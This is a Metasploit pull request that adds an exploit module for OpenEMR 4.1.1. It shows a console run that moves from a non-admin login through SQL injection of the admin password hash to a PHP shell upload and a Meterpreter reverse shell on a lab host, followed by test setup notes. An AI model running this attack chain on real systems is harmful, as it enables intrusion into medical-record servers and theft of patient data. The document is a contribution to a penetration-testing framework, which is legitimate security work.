rapid7/metasploit-framework — pull request #2380 by xistence (2013-09-17 06:46:47+00:00)
Title: added OpenEMR 4.1.1 Patch 14 SQLi Privesc Upload RCE

msf > use exploit/unix/webapp/openemr_sqli_privesc_upload
msf exploit(openemr_sqli_privesc_upload) > set RHOST 192.168.2.131
RHOST => 192.168.2.131
msf exploit(openemr_sqli_privesc_upload) > set USER woot
USER => woot
msf exploit(openemr_sqli_privesc_upload) > set PASS woot
PASS => woot
msf exploit(openemr_sqli_privesc_upload) > exploit

[*] Started reverse handler on 192.168.2.22:4444
[*] 192.168.2.131:80 - Logging in as non-admin user [ woot ]
[*] 192.168.2.131:80 - Login sucessful
[*] 192.168.2.131:80 - Session cookie is [ rqhe4lkdalnomrjb60i0nefd70 ]
[*] 192.168.2.131:80 - Retrieving admin password hash through SQLi
[*] 192.168.2.131:80 - Admin password hash is [ d033e22ae348aeb5660fc2140aec35850c4da997 ]
[*] 192.168.2.131:80 - Logging in as admin user using retrieved password hash
[*] 192.168.2.131:80 - Login sucessful
[*] 192.168.2.131:80 - Session cookie is [ frvkbneqm0rsscb944efaaten2 ]
[*] 192.168.2.131:80 - Uploading shell [ OFwXJYadYVwLI.php ]
[*] 192.168.2.131:80 - Requesting shell [ /openemr/sites/default/images/OFwXJYadYVwLI.php ]
[*] Sending stage (39195 bytes) to 192.168.2.131
[*] Meterpreter session 1 opened (192.168.2.22:4444 -> 192.168.2.131:43554) at 2013-09-17 13:37:50 +0700

meterpreter >

Tested on CentOS 5.9 32-bit.

Download & Install OpenEMR 4.1.1:
http://sourceforge.net/projects/openemr/files/OpenEMR%20Current/4.1.1/openemr-4.1.1.tar.gz/download
Install Patch:
http://www.open-emr.org/patch/4-1-1-Patch-13.zip